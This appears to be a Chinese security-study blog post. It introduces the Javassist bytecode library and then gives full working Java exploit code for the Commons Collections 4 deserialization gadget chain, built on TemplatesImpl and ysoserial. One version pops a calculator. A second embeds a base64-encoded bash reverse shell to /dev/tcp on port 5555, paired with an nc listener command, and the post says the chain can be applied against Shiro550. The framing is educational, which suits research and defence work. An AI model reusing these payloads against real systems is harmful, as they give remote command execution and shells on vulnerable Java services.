Javassist是一个开源的分析、编辑和创建Java字节码的类库。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋)所创建的。它已加入了开放源代码JBoss 应用服务器项目,通过使用Javassist对字节码操作为JBoss实现动态AOP框架。javassist是jboss的一个子项目,其主要的优点,在于简单,而且快速。直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
Javassist中最为重要的是ClassPool,CtClass ,CtMethod 以及 CtField这几个类。
ClassPool:一个基于HashMap实现的CtClass对象容器,其中键是类名称,值是表示该类的CtClass对象。默认的ClassPool使用与底层JVM相同的类路径,因此在某些情况下,可能需要向ClassPool添加类路径或类字节。
CtClass:表示一个类,这些CtClass对象可以从ClassPool获得。
CtMethods:表示类中的方法。
CtFields :表示类中的字段。
首先看一下常用的方法
ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("JavassistTestResult");//创建类
ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")});//让该类实现Serializable接口
CtField f= new CtField(CtClass.intType,"id",ct);//生成一个字段 类型为int 名字为id
f.setModifiers(AccessFlag.PUBLIC);//将字段设置为public
ct.addField(f);//将字段设置到类上
CtConstructor constructor=CtNewConstructor.make("public GeneratedClass(int pId){this.id=pId;}",ct);//添加构造函数
ct.addConstructor(constructor);
CtMethod helloM=CtNewMethod.make("public void hello(String des){ System.out.println(des);}",ct);//添加方法
ct.addMethod(helloM);
ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");//将生成的.class文件保存到磁盘
Class c = loader.loadClass("JavassistTestResult");
Constructor constructor1 = c.getDeclaredConstructor(int.class);
Object object = constructor1.newInstance(1);
javassist的学习难度应该不是很大,但主要依赖于反射这一部分,复习一下
随便联系一下使用就可以了,具体利用TemplatesImpl网上有写好的函数,我们直接输入命令就可以直接生成对应的class文件,下面看一下我的练习
import javassist.*;
import javassist.bytecode.AccessFlag;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Javassist {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
ClassPool pool = ClassPool.getDefault();
Loader loader = new Loader(pool);
CtClass ct = pool.makeClass("zyer");
CtField field = new CtField(CtClass.intType,"age",ct);
field.setModifiers(AccessFlag.PUBLIC);
ct.addField(field);
CtConstructor constructor = CtNewConstructor.make("public GeneratedClass(int age){this.age=age;}",ct);
ct.addConstructor(constructor);
CtMethod method = CtNewMethod.make("public void hello(int age){System.out.println(age);}",ct);
ct.addMethod(method);
String cmd = "public static void main(String[] args) {System.out.println(\"my name is zyer\");}";
CtMethod method1 = CtNewMethod.make(cmd,ct);
ct.addMethod(method1);
ct.writeFile("/Users/zyer/Downloads/untitled/out/production/untitled/");
Class name = loader.loadClass("zyer");
Constructor constructor1 = name.getDeclaredConstructor(int.class);
Object obj = constructor1.newInstance(1);
Method method2 = name.getDeclaredMethod("hello",int.class);
method2.invoke(obj,123);
Method method3 = name.getDeclaredMethod("main",String[].class);
method3.invoke(null,(Object) new String[]{});
}
}
发现会生成对应的class文件
实际利用代码,这里使用函数形式
public static Object createTemplatesImpl(String command) throws Exception{
Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
ClassPool pool = ClassPool.getDefault();
final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
下面是对cc4链的利用操作,将我之前使用的远程加载,变成使用javassist在本地新建从而进行命令执行(弹计算器)
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;
public class cc4 {
public static Object createTemplatesImpl(String command) throws Exception{
Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
ClassPool pool = ClassPool.getDefault();
final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
public static void main(String[] args) throws Exception {
Object obj = createTemplatesImpl("open -a Calculator.app");
System.out.println(obj);
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
TreeBag treeBag = new TreeBag(comparator);
treeBag.add(obj);
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer,"getOutputProperties");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(treeBag);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
反弹shell
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import ysoserial.payloads.util.Gadgets;
import java.io.*;
import java.lang.reflect.Field;
public class cc4 {
public static Object createTemplatesImpl(String command) throws Exception{
Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
ClassPool pool = ClassPool.getDefault();
final CtClass clazz = pool.get(Gadgets.StubTransletPayload.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
((CtClass) clazz).makeClassInitializer().insertAfter(cmd);
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
setFieldValue(templates, "_bytecodes", new byte[][] {classBytes});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
return templates;
}
public static void main(String[] args) throws Exception {
Object obj = createTemplatesImpl("bash -c {echo,L2Jpbi9iYXNoIiwiLWMiLCJiYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS81NTU1IDA+JjE=}|{base64,-d}|{bash,-i}");
System.out.println(obj);
Transformer transformer = new InvokerTransformer("toString", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
TreeBag treeBag = new TreeBag(comparator);
treeBag.add(obj);
Field field = InvokerTransformer.class.getDeclaredField("iMethodName");
field.setAccessible(true);
field.set(transformer,"getOutputProperties");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(treeBag);
objectOutputStream.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
其中命令是对bash命令进行编码:
bash -i >& /dev/tcp/ip/port 0>&1
使用在线网站(java命令执行payloads - 小草窝博客)
可以看到会反弹shell,证明命令执行了
这里使用nc命令的时候如果不加 参数 n 会报错,应该是域名解析有问题,那么我们使用命令
nc -lnvvp 5555
就可以成功反弹shell了。
cc4可以应用在shiro550上,后续会手动复现一下。